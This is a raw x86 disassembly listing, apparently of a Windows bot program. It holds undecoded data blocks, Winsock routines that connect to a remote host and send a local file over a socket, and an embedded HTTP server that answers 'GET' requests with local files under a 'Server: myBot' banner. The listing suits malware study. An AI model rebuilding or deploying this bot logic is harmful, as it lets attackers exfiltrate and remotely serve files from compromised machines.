		dd 3B004CB9h, 0D4840FC6h, 0C7000000h, 10FC45h, 8BE0000h
		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 30h,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah
		dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 90575010h, 6A4A69E8h
		dd 7DC08571h, 0E9C38B07h, 548h,	90570A6Ah, 6A6969E8h, 0D49D8971h
		dd 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh,	416AFC7Dh
		dd 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh, 0C4858DF6h
		dd 56FFFFFBh, 8B505656h, 5040FC45h, 6A23DBE8h, 0F8839071h
		dd 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h, 6AF633C5h
		dd 60858D64h, 56FFFFFDh, 0CA96E850h, 646A0000h,	0FF50858Dh
		dd 5056FFFFh, 0CA87E8h,	18C48300h, 0FBC4858Dh, 5750FFFFh
		dd 16E57E8h, 0FC08500h,	4A284h,	0F87D3B00h, 458D7A75h
		dd 0F045C7F0h, 10h, 0C4858D50h,	50FFFFFDh, 90F875FFh, 6A916CE8h
		dd 0FFF88371h, 479840Fh, 0C9330000h, 0FDD4B539h, 1676FFFFh
		dd 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h, 0FFFFFDD4h
		dd 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h, 890D7340h
		dd 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh, 0FC458903h
		dd 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h, 6AFFFFFDh
		dd 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h,	33FFFFFDh
		dd 76D63BC9h, 0D8858D3Ah, 39FFFFFDh, 410A7438h,	3B04C083h
		dd 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh, 4508BFFh
		dd 8B108941h, 0FFFDD495h, 4C083FFh, 72CA3B4Ah, 0D48DFFECh
		dd 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h,	0FFFCC885h
		dd 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh,	4349A4h
		dd 0D6DDE850h, 858D0000h, 0FFFFFF50h, 43499C68h, 39E85000h
		dd 830000D4h, 0C08518C4h, 6A560D75h, 49846816h,	82E90043h
		dd 8D000000h, 0FFFF5085h, 497C68FFh, 0E8500043h, 0D414h
		dd 59C08559h, 6A560A75h, 49646814h, 61EB0043h, 0FF50858Dh
		dd 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h, 560A7559h
		dd 4C680D6Ah, 0EB004349h, 50858D40h, 68FFFFFFh,	434944h
		dd 0D3D2E850h, 85590000h, 0A7559C0h, 68106A56h,	434930h
		dd 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h, 590000D3h
		dd 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h,	0BF000002h
		dd 434904h, 0FF50858Dh,	5057FFFFh, 0D38BE8h, 0C0855900h
		dd 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h, 0D374h
		dd 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h, 8D000002h
		dd 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h, 858D2475h
		dd 0FFFFFCC8h, 4348E868h, 3DE85000h, 590000D3h,	7559C085h
		dd 136A560Dh, 4348D468h, 263E900h, 858D0000h, 0FFFFFF50h
		dd 4348CC68h, 19E85000h, 590000D3h, 7559C085h, 0BE0A6A34h
		dd 4348A0h, 0D8BD8D59h,	0F3FFFFFEh, 858D50A5h, 0FFFFFED8h
		dd 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h, 875FF50h
		dd 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh, 434898h, 0D2CEE850h
		dd 85590000h, 2A7559C0h, 80BE056Ah, 59004348h, 0FF38BD8Dh
		dd 0A5F3FFFFh, 8D50A566h, 0FFFF3885h, 0E8A450FFh, 0C218h
		dd 858D5059h, 0FFFFFF38h, 858DB2EBh, 0FFFFFF50h, 43487868h
		dd 8DE85000h, 590000D2h, 0F59C085h, 0B685h, 2C858D00h
		dd 50FFFFFDh, 0FF04858Dh, 8D50FFFFh, 8D50EC45h,	8D50E445h
		dd 8D50DC45h, 8D50D445h, 0FFFD6085h, 485068FFh,	0E8500043h
		dd 0D4E7h, 0FF04858Dh, 0E850FFFFh, 0C951h, 858DF88Bh, 0FFFFFD2Ch
		dd 0C943E850h, 45890000h, 8D326AF4h, 0FFFF0485h, 0E85056FFh
		dd 0C748h, 8D34C483h, 0FFFF0485h, 0F475FFFFh, 48486857h
		dd 0E8500043h, 0CA26h, 858D106Ah, 0FFFFFF04h, 56E85056h
		dd 830000CFh, 45891CC4h, 0EC458DF4h, 0E4458D50h, 0DC458D50h
		dd 0D4458D50h, 0B4458D50h, 43483C68h, 0F3E85000h, 830000C9h
		dd 6A5618C4h, 481C681Dh, 6E90043h, 8D000001h, 0FFFF5085h
		dd 481468FFh, 0E8500043h, 0D1BCh, 59C08559h, 0CC850Fh
		dd 6A560000h, 47E86828h, 75FF0043h, 0FFD3FF08h,	458DF475h
		dd 8E850B4h, 59000001h,	5901F883h, 9E850Fh, 0B5390000h
		dd 0FFFFFBBCh, 8D562375h, 0FFF72085h, 0B8B5FFFFh, 50FFFFFBh
		dd 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h, 9F7FE8FFh, 0C483FFFFh
		dd 14AE814h, 0F8830000h, 93850F01h, 56000000h, 0D068176Ah
		dd 0FF004347h, 0D3FF0875h, 50B4458Dh, 0F720858Dh, 9868FFFFh
		dd 50004347h, 0C949E8h,	0CC48300h, 0FBBCB539h, 2375FFFFh
		dd 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h, 858D50FFh, 0FFFFFB38h
		dd 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h, 8D14C483h, 0FFF72085h
		dd 0E1E850FFh, 0FF000063h, 4CE4E005h, 2EEB5900h, 68206A56h
		dd 434774h, 858D1FEBh, 0FFFFFF50h, 42CD2068h, 0D5E85000h
		dd 590000D0h, 7559C085h, 1B6A560Dh, 43475868h, 875FF00h
		dd 646AD3FFh, 0FD60858Dh, 5056FFFFh, 0C5D3E8h, 87D8B00h
		dd 470CC483h, 89FC7D3Bh, 8E0F087Dh, 0FFFFFB19h,	0FFFAD9E9h
		dd 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 26A068Bh
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2771561h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	near ptr 26B0B43h
		nop
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


